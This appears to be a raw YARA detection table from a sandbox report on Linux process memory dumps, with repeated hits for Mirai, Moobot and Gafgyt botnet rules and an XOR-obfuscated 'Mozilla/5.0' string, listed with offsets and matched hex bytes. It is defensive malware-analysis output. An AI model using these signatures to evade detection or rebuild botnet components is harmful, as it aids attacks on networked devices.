7372.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7372.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7372.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7364.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7364.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7364.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7364.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7364.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7364.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6855.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6855.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6855.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6855.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6855.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6855.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7328.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7328.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7328.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7328.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7328.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7328.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6886.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6753.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6342.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6936.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6936.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6936.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6936.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6936.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6936.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6259.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6259.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6259.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6259.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6259.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6259.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7333.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
